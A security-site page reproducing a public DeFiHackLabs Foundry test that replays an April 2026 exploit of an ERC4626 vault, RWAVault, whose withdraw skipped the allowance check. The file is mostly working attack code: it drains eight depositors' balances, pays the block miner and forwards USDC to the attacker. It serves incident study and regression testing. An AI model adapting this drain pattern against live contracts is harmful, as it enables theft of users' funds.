Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/RWAVault_exp.sol

Public reproduction file for dataset entry RWAVault.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/RWAVault_exp.sol132 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 398,655.47 USDC vault outflow
8// Attacker : 0x7137804200a073f616d92e87007f1f100100b56a
9// Attack Contract : 0x50c140c2f705fa9d0bd0f4f253bacf4087588d17
10// Vulnerable Contract : 0x317aa10528ff675ef4c358ea6a5b7b5494325733
11// Victim : 0xb9c7c84a1aa0dd40b5b38aae815ad0cdd2e5f88a
12// Attack Tx : https://etherscan.io/tx/0x6b04344d5627df59d3bc645e7454f4605a90272852a91e435e370376643353b3
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x317aa10528ff675ef4c358ea6a5b7b5494325733#code
16// Vault Entry/State Contract : https://etherscan.io/address/0xb9c7c84a1aa0dd40b5b38aae815ad0cdd2e5f88a#code
18// @Analysis
19// Twitter Guy : https://t.me/defimon_alerts/2958
20//
21// RWAVault overrides ERC4626 withdraw without the allowance spend required when msg.sender != owner.
22// The attacker withdraws eight depositor balances to an attacker-controlled receiver, swaps 5,000 USDC
23// to ETH for the block beneficiary, and forwards the remaining USDC to the attacker EOA.
25address constant ATTACKER = 0x7137804200a073f616D92E87007f1f100100B56A;
26address constant RWA_VAULT_ENTRY = 0xB9C7C84A1Aa0dD40b5B38Aae815AD0CDD2E5F88a;
27address constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
28address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
29address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
30address constant BLOCK_MINER = 0x4838B106FCe9647Bdf1E7877BF73cE8B0BAD5f97;
31uint256 constant TRACE_SWAP_USDC = 5_000_000_000;
33contract ContractTest is BaseTestWithBalanceLog {
34 uint256 private constant FORK_BLOCK = 24_979_315;
36 IERC20 private constant usdc = IERC20(USDC_TOKEN);
38 RWAVaultAttack private exploit;
40 function setUp() public {
41 vm.createSelectFork("mainnet", FORK_BLOCK);
42 uint256 attackBlockTimestamp = 1_777_388_411;
43 vm.warp(attackBlockTimestamp);
44 vm.coinbase(BLOCK_MINER);
46 fundingToken = USDC_TOKEN;
47 attacker = ATTACKER;
49 vm.label(ATTACKER, "Attacker EOA");
50 vm.label(RWA_VAULT_ENTRY, "RWAVault Entry/State Clone");
51 vm.label(USDC_TOKEN, "USDC");
52 vm.label(WETH_TOKEN, "WETH");
53 vm.label(UNISWAP_V2_ROUTER, "Uniswap V2 Router");
54 vm.label(BLOCK_MINER, "Block Miner");
56 exploit = new RWAVaultAttack(ATTACKER);
57 vm.label(address(exploit), "Local Attack Contract");
58 }
60 function testExploit() public balanceLog {
61 uint256 attackerBefore = usdc.balanceOf(ATTACKER);
62 uint256 minerEthBefore = BLOCK_MINER.balance;
64 // step 1: attacker EOA triggers a local helper that mirrors the historical attack contract's call order.
65 vm.prank(ATTACKER);
66 exploit.execute();
68 uint256 usdcProfit = usdc.balanceOf(ATTACKER) - attackerBefore;
69 uint256 minerEthProfit = BLOCK_MINER.balance - minerEthBefore;
71 logTokenBalance(USDC_TOKEN, ATTACKER, "Attacker Final");
72 emit log_named_decimal_uint("Block Miner ETH Received", minerEthProfit, 18);
74 assertGt(usdcProfit, 387_000_000_000, "attacker USDC profit");
75 assertGt(minerEthProfit, 2 ether, "miner ETH payment");
76 assertEq(usdc.balanceOf(address(exploit)), 0, "attack helper forwarded USDC");
77 }
80contract RWAVaultAttack {
81 address private immutable profitReceiver;
83 IERC20 private constant usdc = IERC20(USDC_TOKEN);
84 IERC4626 private constant vault = IERC4626(RWA_VAULT_ENTRY);
85 IUniswapV2Router private constant router = IUniswapV2Router(payable(UNISWAP_V2_ROUTER));
87 address[8] private victims = [
88 0xC15D1F621480DD6b298A1AFF41E63b67E32ED51b,
89 0x98269200D948896E09088482830f84454Da13e9a,
90 0x5070Faba9361046c30b3f1976A13C1CaD09e8483,
91 0xe9563779260c1B71E3C674534B8208666Eec38B5,
92 0x5A0E2bd5311d066B022B88F5bF453cB8A5307fee,
93 0xC15D1F621480DD6b298A1AFF41E63b67E32ED51b,
94 0x1Acb62D792BF6aEca92c4fC79686c0D12c192fAA,
95 0xaB2f2FEfAfC7EA9316C6538Ad63EBb2082585Ae6
96 ];
98 uint256[8] private requestedAssets = [
99 100_000_000,
100 1_200_000_000,
101 270_000_000_000,
102 3_136_000_000,
103 6_380_000_000,
104 9_900_000_000,
105 2_048_000_000,
106 100_000_000_000
107 ];
109 constructor(
110 address profitReceiver_
111 ) {
112 profitReceiver = profitReceiver_;
113 }
115 function execute() external {
116 // step 2: reproduce the typed withdraw amounts from the attack calldata.
117 for (uint256 i; i < victims.length; ++i) {
118 vault.withdraw(requestedAssets[i], address(this), victims[i]);
119 }
121 // step 3: swap the same 5,000 USDC through Uniswap V2 and pay ETH to the block beneficiary.
122 usdc.approve(UNISWAP_V2_ROUTER, TRACE_SWAP_USDC);
123 address[] memory path = new address[](2);
124 path[0] = USDC_TOKEN;
125 path[1] = WETH_TOKEN;
126 uint256 traceDeadline = 1_787_388_410;
127 router.swapExactTokensForETH(TRACE_SWAP_USDC, 0, path, BLOCK_MINER, traceDeadline);
129 // step 4: forward the remaining USDC to the attacker EOA.
130 usdc.transfer(profitReceiver, usdc.balanceOf(address(this)));
131 }

Analysis

Dataset entry

Public Foundry test for “RWAVault” (2026-04-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7137804200a073f616d92e87007f1f100100b56a

  • Attack Contract

    0x50c140c2f705fa9d0bd0f4f253bacf4087588d17

  • Vulnerable Contract

    0x317aa10528ff675ef4c358ea6a5b7b5494325733

  • Victim

    0xb9c7c84a1aa0dd40b5b38aae815ad0cdd2e5f88a

  • Attack Tx

    0x6b04344d5627df59d3bc645e7454f4605a90272852a91e435e370376643353b3

File record

Name
RWAVault
Path
src/test/2026-04/RWAVault_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e15cc499ab5c7bc7cdcbdb784132f1d5cf8ebe76
Language
Solidity
Size
133 lines
Date
2026-04-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/RWAVault_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e15cc499ab5c7bc7cdcbdb784132f1d5cf8ebe76, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.